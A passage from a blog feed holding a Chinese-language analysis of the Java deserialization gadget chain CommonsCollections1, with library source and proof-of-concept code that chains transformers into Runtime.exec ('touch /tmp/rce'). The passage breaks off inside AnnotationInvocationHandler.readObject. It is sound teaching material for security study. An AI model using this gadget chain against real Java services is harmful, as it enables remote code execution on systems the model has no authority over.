      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
      <category term="DEFCON" scheme="http://blog.kaibro.tw/tags/DEFCON/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Java 反序列化之 CommonCollections1 分析]]></title>
    <link href="http://blog.kaibro.tw/2020/02/27/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommonCollections1%E5%88%86%E6%9E%90/"/>
    <id>http://blog.kaibro.tw/2020/02/27/Java反序列化之CommonCollections1分析/</id>
    <published>2020-02-26T18:06:56.000Z</published>
    <updated>2020-03-04T14:20:08.481Z</updated>
    <content type="html"><![CDATA[<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>Common Collections 反序列化漏洞歷史在<a href="https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/">上一篇文章</a>中有稍微提過</p>
<p>這個漏洞在 2015 年時，對整個 Java 生態系造成不小的影響</p>
<p>後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來</p>
<p>而本篇文章就以 ysoserial 中經典的 <a href="https://github.com/frohoff/ysoserial/blob/477ecb8f05f42b0195a67d9712e97f2c6d31e1da/src/main/java/ysoserial/payloads/CommonsCollections1.java" target="_blank" rel="external">CommonCollections1</a> 這條 Gadget chain 來做分析</p>
<p>雖然網路上類似本篇的分析文很多，但只看文章其實很難體會到 java gadget chain 裡頭的精髓</p>
<p>強烈建議大家有興趣、有時間的話，可以自己拉原始碼下來跟一遍，相信可以收穫更多 !</p>
<p>p.s. 這裡我分析的版本是 <a href="https://archive.apache.org/dist/commons/collections/source/commons-collections-3.1-src.zip" target="_blank" rel="external">Common Collections 3.1</a> 和 <a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u" target="_blank" rel="external">JDK 8</a></p>
<a id="more"></a>
<p><br></p>
<h2 id="u7C21_u4ECB"><a href="#u7C21_u4ECB" class="headerlink" title="簡介"></a>簡介</h2><p><code>Apache Common Collections</code> 主要是一個用來擴充原生 Java Collection 的一個第三方 Library</p>
<p>(簡單說，就是一個擴充包的概念)</p>
<p>而 Collection 基本上就可以視為是 <code>Set</code>, <code>List</code>, <code>Queue</code> 等類別的抽象概念</p>
<p>所以 Common Collections 中提供了許多方式，能讓我們對這些 Collection 做操作</p>
<p>或是對各種資料結構做封裝、抽象化，簡化原本 JDK 中複雜的操作方式</p>
<p>例如後面會提到的各種 <code>Transformer</code>，最主要就是用來對這些 Collection 做內容轉換的</p>
<p>也因為它的方便性和實用性，所以許多框架預設都有引用這個 Library</p>
<p>導致一旦底層 Library 出問題，上面所有框架都會接連一起爆炸</p>
<p><br></p>
<h2 id="u5206_u6790"><a href="#u5206_u6790" class="headerlink" title="分析"></a>分析</h2><p>先從 <code>Transformer</code> 開始看:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="comment">// org.apache.commons.collections.Transformer</span></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">Transformer</span> </span>&#123;</div><div class="line"></div><div class="line">    <span class="comment">/**</span></div><div class="line">     * Transforms the input object (leaving it unchanged) into some output object.</div><div class="line">     *</div><div class="line">     * <span class="doctag">@param</span> input  the object to be transformed, should be left unchanged</div><div class="line">     * <span class="doctag">@return</span> a transformed object</div><div class="line">     * <span class="doctag">@throws</span> ClassCastException (runtime) if the input is the wrong class</div><div class="line">     * <span class="doctag">@throws</span> IllegalArgumentException (runtime) if the input is invalid</div><div class="line">     * <span class="doctag">@throws</span> FunctorException (runtime) if the transform cannot be completed</div><div class="line">     */</div><div class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object input)</span></span>;</div><div class="line"></div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>它是一個接口，主要用處就如同字面上的意思，是用來對輸入的物件做轉換</p>
<p>裡面最重要的就是 <code>transform()</code> 方法，我們後面會一直用到它!</p>
<p>接著來看幾個串 gadget chain 時會用到的 transformer 類別</p>
<p>一、 <code>ConstantTransformer</code></p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ConstantTransformer</span> <span class="keyword">implements</span> <span class="title">Transformer</span>, <span class="title">Serializable</span> </span>&#123;</div><div class="line">    ...</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="title">ConstantTransformer</span><span class="params">(Object constantToReturn)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>();</div><div class="line">        iConstant = constantToReturn;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object input)</span> </span>&#123;</div><div class="line">        <span class="keyword">return</span> iConstant;</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這個類別的 <code>transform()</code> 方法實作非常簡潔，直接吐回我們在呼叫 constructor 時設定的物件</p>
<p>也就是我們輸入的物件，沒有經過任何轉換操作就直接返回</p>
<p><br></p>
<p>二、 <code>InvokerTransformer</code></p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">InvokerTransformer</span> <span class="keyword">implements</span> <span class="title">Transformer</span>, <span class="title">Serializable</span> </span>&#123;</div><div class="line">    ...</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="title">InvokerTransformer</span><span class="params">(String methodName, Class[] paramTypes, Object[] args)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>();</div><div class="line">        iMethodName = methodName;</div><div class="line">        iParamTypes = paramTypes;</div><div class="line">        iArgs = args;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object input)</span> </span>&#123;</div><div class="line">        <span class="keyword">if</span> (input == <span class="keyword">null</span>) &#123;</div><div class="line">            <span class="keyword">return</span> <span class="keyword">null</span>;</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">try</span> &#123;</div><div class="line">            Class cls = input.getClass();</div><div class="line">            Method method = cls.getMethod(iMethodName, iParamTypes);</div><div class="line">            <span class="keyword">return</span> method.invoke(input, iArgs);</div><div class="line"></div><div class="line">        &#125; <span class="keyword">catch</span> (NoSuchMethodException ex) &#123;</div><div class="line">            ...</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>InvokerTransformer</code> 的 <code>transform()</code> 方法會透過反射，呼叫物件的方法</p>
<p>而值得注意的是，方法名、參數等都是我們在 constructor 中可控的，所以我們可以對輸入的 <code>input</code> 物件，做任意方法呼叫！</p>
<p><br></p>
<p>三、 <code>ChainedTransformer</code></p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ChainedTransformer</span> <span class="keyword">implements</span> <span class="title">Transformer</span>, <span class="title">Serializable</span> </span>&#123;</div><div class="line">    ...</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="title">ChainedTransformer</span><span class="params">(Transformer[] transformers)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>();</div><div class="line">        iTransformers = transformers;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">transform</span><span class="params">(Object object)</span> </span>&#123;</div><div class="line">        <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; iTransformers.length; i++) &#123;</div><div class="line">            object = iTransformers[i].transform(object);</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">return</span> object;</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>ChainedTransformer</code> 這個類別就有意思了，<code>iTransformers</code> 是一個 transformer 陣列，我們一樣可以透過 constructor 設定它</p>
<p>這裡 <code>transform()</code> 方法，會去對 <code>iTransformers</code> 中每一個 transformer 去呼叫其對應的 <code>transfomr()</code> 方法 !</p>
<p>也就是前一個 Transformer <code>transform()</code> 完的結果，會被當成下一個 Transformer <code>transform()</code> 的輸入</p>
<p>所以就能串成一個 transformer chain</p>
<p><br></p>
<p>到目前為止，這幾個 transformer 實際上組合一下，就已經能變成一個任意代碼執行了 !</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> </span>&#123;</div><div class="line">    Transformer[] transformer_arr = <span class="keyword">new</span> Transformer[] &#123;</div><div class="line">        <span class="keyword">new</span> ConstantTransformer(Runtime.class),</div><div class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[] &#123;String.class, Class[].class&#125;, <span class="keyword">new</span> Object[] &#123;<span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>]&#125;),</div><div class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[] &#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> Object[] &#123;<span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>]&#125;),</div><div class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[] &#123;String.class&#125;, <span class="keyword">new</span> Object[] &#123;<span class="string">"/usr/bin/touch /tmp/rce"</span>&#125;)</div><div class="line">    &#125;;</div><div class="line">    Transformer chain = <span class="keyword">new</span> ChainedTransformer(transformer_arr);</div><div class="line">    chain.transform(chain);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>但只有這樣是不夠的</p>
<p>目前我們是手動建立 transformer，並手動呼叫 <code>ChainedTransformer.transform()</code> 方法來觸發整個 gadget chain</p>
<p>我們需要一個能夠自動去觸發 <code>transform()</code> 的方法</p>
<p><br></p>
<p>先來看 <code>TransformedMap</code> 這個類別 :</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Decorates another &lt;code&gt;Map&lt;/code&gt; to transform objects that are added.</div><div class="line"> * &lt;p&gt;</div><div class="line"> * The Map put methods and Map.Entry setValue method are affected by this class.</div><div class="line"> * Thus objects must be removed or searched for using their transformed form.</div><div class="line"> * For example, if the transformation converts Strings to Integers, you must</div><div class="line"> * use the Integer form to remove objects.</div><div class="line"> * &lt;p&gt;</div><div class="line"> * This class is Serializable from Commons Collections 3.1.</div><div class="line"> *</div><div class="line"> * <span class="doctag">@since</span> Commons Collections 3.0</div><div class="line"> * <span class="doctag">@version</span> $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $</div><div class="line"> *</div><div class="line"> * <span class="doctag">@author</span> Stephen Colebourne</div><div class="line"> */</div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TransformedMap</span></span></div><div class="line">        <span class="keyword">extends</span> <span class="title">AbstractInputCheckedMapDecorator</span></div><div class="line">        <span class="keyword">implements</span> <span class="title">Serializable</span> &#123;</div><div class="line"></div><div class="line">    <span class="comment">/** Serialization version */</span></div><div class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = <span class="number">7023152376788900464L</span>;</div><div class="line"></div><div class="line">    <span class="comment">/** The transformer to use for the key */</span></div><div class="line">    <span class="keyword">protected</span> <span class="keyword">final</span> Transformer keyTransformer;</div><div class="line">    <span class="comment">/** The transformer to use for the value */</span></div><div class="line">    <span class="keyword">protected</span> <span class="keyword">final</span> Transformer valueTransformer;</div><div class="line"></div><div class="line">    <span class="comment">/**</span></div><div class="line">     * Factory method to create a transforming map.</div><div class="line">     * &lt;p&gt;</div><div class="line">     * If there are any elements already in the map being decorated, they</div><div class="line">     * are NOT transformed.</div><div class="line">     *</div><div class="line">     * <span class="doctag">@param</span> map  the map to decorate, must not be null</div><div class="line">     * <span class="doctag">@param</span> keyTransformer  the transformer to use for key conversion, null means no conversion</div><div class="line">     * <span class="doctag">@param</span> valueTransformer  the transformer to use for value conversion, null means no conversion</div><div class="line">     * <span class="doctag">@throws</span> IllegalArgumentException if map is null</div><div class="line">     */</div><div class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Map <span class="title">decorate</span><span class="params">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> </span>&#123;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">new</span> TransformedMap(map, keyTransformer, valueTransformer);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">protected</span> <span class="title">TransformedMap</span><span class="params">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>(map);</div><div class="line">        <span class="keyword">this</span>.keyTransformer = keyTransformer;</div><div class="line">        <span class="keyword">this</span>.valueTransformer = valueTransformer;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    ...</div></pre></td></tr></table></figure>
<p>可以看到這邊的 <code>TransformedMap</code> 繼承了抽象類別 <code>AbstractInputCheckedMapDecorator</code></p>
<p>而 <code>AbstractInputCheckedMapDecorator</code> 又繼承了抽象類別 <code>AbstractMapDecorator</code></p>
<p>這個 <code>AbstractMapDecorator</code> 實際上實作了 JDK 的 <code>Map</code> interface</p>
<p>其中 <code>TransformedMap</code> 的 <code>keyTransformer</code> 和 <code>valueTransformer</code> 對應 key 跟 value 改變時要做的操作</p>
<p>當 key 或 value 被修改時，就會去調用對應 Transformer 的 <code>transform</code> 方法</p>
<p>有很多地方都能夠觸發 <code>keyTransformer.transform()</code> 或 <code>valueTransformer.transform()</code></p>
<p>但為了後面漏洞利用能繼續串另一個 class，我們這裡採用的是 <code>AbstractInputCheckedMapDecorator.entrySet()</code> 這條路去觸發</p>
<p><br></p>
<p>首先，<code>TransformedMap.decorate()</code> 會回傳一個 <code>TransformedMap</code></p>
<p>並且可以讓我們設定其中的 <code>keyTransformer</code> 和 <code>valueTransformer</code></p>
<p>所以這裡就能放我們前面串的那個 <code>ChainedTransformer</code> 當作 key 或 value 的 Transformer</p>
<p>接著我們看 <code>AbstractInputCheckedMapDecorator.entrySet()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> Set <span class="title">entrySet</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="keyword">if</span> (isSetValueChecking()) &#123;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">new</span> EntrySet(map.entrySet(), <span class="keyword">this</span>);</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        <span class="keyword">return</span> map.entrySet();</div><div class="line">    &#125;</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">boolean</span> <span class="title">isSetValueChecking</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="keyword">return</span> <span class="keyword">true</span>;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>當 <code>isSetValueChecking()</code> 條件成立時，會用到內部類別 <code>EntrySet</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">EntrySet</span> <span class="keyword">extends</span> <span class="title">AbstractSetDecorator</span> </span>&#123;</div><div class="line"></div><div class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AbstractInputCheckedMapDecorator parent;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">protected</span> <span class="title">EntrySet</span><span class="params">(Set set, AbstractInputCheckedMapDecorator parent)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>(set);</div><div class="line">        <span class="keyword">this</span>.parent = parent;</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>接著我們繼續看 <code>AbstractInputCheckedMapDecorator$EntrySet</code> 的 <code>iterator()</code> 方法</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> Iterator <span class="title">iterator</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="keyword">return</span> <span class="keyword">new</span> EntrySetIterator(collection.iterator(), parent);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>iterator()</code> 方法又去建立了一個內部類別 <code>EntrySetIterator</code> 的實例</p>
<p><br></p>
<p>你可能想問: 這裡沒地方用到這些方法，為啥要看它們呢?</p>
<p>因為後面會有另一個 class 有同時用到這些東西，所以我們後面會再把這些一起串起來 !</p>
<p><br></p>
<p>繼續看 <code>AbstractInputCheckedMapDecorator$EntrySetIterator</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"> <span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">EntrySetIterator</span> <span class="keyword">extends</span> <span class="title">AbstractIteratorDecorator</span> </span>&#123;</div><div class="line"></div><div class="line">    <span class="comment">/** The parent map */</span></div><div class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AbstractInputCheckedMapDecorator parent;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">protected</span> <span class="title">EntrySetIterator</span><span class="params">(Iterator iterator, AbstractInputCheckedMapDecorator parent)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>(iterator);</div><div class="line">        <span class="keyword">this</span>.parent = parent;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">next</span><span class="params">()</span> </span>&#123;</div><div class="line">        Map.Entry entry = (Map.Entry) iterator.next();</div><div class="line">        <span class="keyword">return</span> <span class="keyword">new</span> MapEntry(entry, parent);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>next()</code> 方法透過 <code>iterator</code> 去取得 <code>Map.Entry</code> 物件</p>
<p>接著 new 了一個 <code>MapEntry</code> 實例返回</p>
<p>繼續看這個 <code>MapEntry</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">class</span> <span class="title">MapEntry</span> <span class="keyword">extends</span> <span class="title">AbstractMapEntryDecorator</span> </span>&#123;</div><div class="line"></div><div class="line">    <span class="comment">/** The parent map */</span></div><div class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AbstractInputCheckedMapDecorator parent;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">protected</span> <span class="title">MapEntry</span><span class="params">(Map.Entry entry, AbstractInputCheckedMapDecorator parent)</span> </span>&#123;</div><div class="line">        <span class="keyword">super</span>(entry);</div><div class="line">        <span class="keyword">this</span>.parent = parent;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">public</span> Object <span class="title">setValue</span><span class="params">(Object value)</span> </span>&#123;</div><div class="line">        value = parent.checkSetValue(value);</div><div class="line">        <span class="keyword">return</span> entry.setValue(value);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡關鍵是這個 <code>setValue()</code> 方法</p>
<p>可以看到它呼叫了 <code>parent.checkSetValue(value)</code></p>
<p>這個 <code>parent</code> 其實就是 <code>AbstractInputCheckedMapDecorator</code></p>
<p>而實作 <code>checkSetValue()</code> 方法是在 <code>TransformedMap.checkSetValue()</code> 這邊:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">protected</span> Object <span class="title">checkSetValue</span><span class="params">(Object value)</span> </span>&#123;</div><div class="line">    <span class="keyword">return</span> valueTransformer.transform(value);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>終於，看到我們朝思暮想的 <code>valueTransformer.transform(value)</code> 了 !</p>
<p>所以我們就能把前面任意代碼執行的 Code，改成用 <code>TransformedMap</code> 的 <code>setValue()</code> 來觸發了:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> </span>&#123;</div><div class="line">    Transformer[] transformer_arr = <span class="keyword">new</span> Transformer[] &#123;</div><div class="line">        <span class="keyword">new</span> ConstantTransformer(Runtime.class),</div><div class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"getMethod"</span>, <span class="keyword">new</span> Class[] &#123;String.class, Class[].class&#125;, <span class="keyword">new</span> Object[] &#123;<span class="string">"getRuntime"</span>, <span class="keyword">new</span> Class[<span class="number">0</span>]&#125;),</div><div class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"invoke"</span>, <span class="keyword">new</span> Class[] &#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> Object[] &#123;<span class="keyword">null</span>, <span class="keyword">new</span> Object[<span class="number">0</span>]&#125;),</div><div class="line">        <span class="keyword">new</span> InvokerTransformer(<span class="string">"exec"</span>, <span class="keyword">new</span> Class[] &#123;String.class&#125;, <span class="keyword">new</span> Object[] &#123;<span class="string">"/usr/bin/touch /tmp/rce"</span>&#125;)</div><div class="line">    &#125;;</div><div class="line">    Transformer chain = <span class="keyword">new</span> ChainedTransformer(transformer_arr);</div><div class="line">    Map innerMap = <span class="keyword">new</span> HashMap();</div><div class="line">    innerMap.put(<span class="keyword">null</span>, <span class="keyword">null</span>);</div><div class="line"></div><div class="line">    Map outerMap = TransformedMap.decorate(innerMap, <span class="keyword">null</span>, chain);</div><div class="line">    Set set = outerMap.entrySet();</div><div class="line">    Iterator it = set.iterator();</div><div class="line">    Map.Entry ent = (Map.Entry) it.next();</div><div class="line"></div><div class="line">    <span class="comment">// Trigger</span></div><div class="line">    ent.setValue(<span class="keyword">null</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>但一樣還是沒解決自動觸發的問題，這裡仍然是我們手動去呼叫 <code>setValue()</code></p>
<p>而且還有前面提過的 <code>iterator()</code>, <code>next()</code> 等方法，其實都是我們手動去執行的</p>
<p>需要找到一個 gadget 可以幫我們完成這些事情</p>
<p><br></p>
<p>而滿足我們要求的 gadget 就是下面要講的這個 <code>sun.reflect.annotation.AnnotationInvocationHandler</code> 類別:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * InvocationHandler for dynamic proxy implementation of Annotation.</div><div class="line"> *</div><div class="line"> * <span class="doctag">@author</span>  Josh Bloch</div><div class="line"> * <span class="doctag">@since</span>   1.5</div><div class="line"> */</div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">AnnotationInvocationHandler</span> <span class="keyword">implements</span> <span class="title">InvocationHandler</span>, <span class="title">Serializable</span> </span>&#123;</div><div class="line"></div><div class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">long</span> serialVersionUID = <span class="number">6182022883658399397L</span>;</div><div class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Class&lt;? extends Annotation&gt; type;</div><div class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Map&lt;String, Object&gt; memberValues;</div><div class="line"></div><div class="line">    ...</div><div class="line"></div><div class="line">    <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">readObject</span><span class="params">(java.io.ObjectInputStream s)</span></span></div><div class="line">        <span class="keyword">throws</span> java.io.IOException, ClassNotFoundException &#123;</div><div class="line">        s.defaultReadObject();</div><div class="line"></div><div class="line"></div><div class="line">        <span class="comment">// Check to make sure that types have not evolved incompatibly</span></div><div class="line"></div><div class="line">        AnnotationType annotationType = <span class="keyword">null</span>;</div><div class="line">        <span class="keyword">try</span> &#123;</div><div class="line">            annotationType = AnnotationType.getInstance(type);</div><div class="line">        &#125; <span class="keyword">catch</span>(IllegalArgumentException e) &#123;</div><div class="line">            <span class="comment">// Class is no longer an annotation type; time to punch out</span></div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> java.io.InvalidObjectException(<span class="string">"Non-annotation type in annotation serial stream"</span>);</div><div class="line">        &#125;</div><div class="line"></div><div class="line">        Map&lt;String, Class&lt;?&gt;&gt; memberTypes = annotationType.memberTypes();</div><div class="line"></div><div class="line"></div><div class="line">        <span class="comment">// If there are annotation members without values, that</span></div><div class="line">        <span class="comment">// situation is handled by the invoke method.</span></div><div class="line">        <span class="keyword">for</span> (Map.Entry&lt;String, Object&gt; memberValue : memberValues.entrySet()) &#123;</div><div class="line">            String name = memberValue.getKey();</div><div class="line">            Class&lt;?&gt; memberType = memberTypes.get(name);</div><div class="line">            <span class="keyword">if</span> (memberType != <span 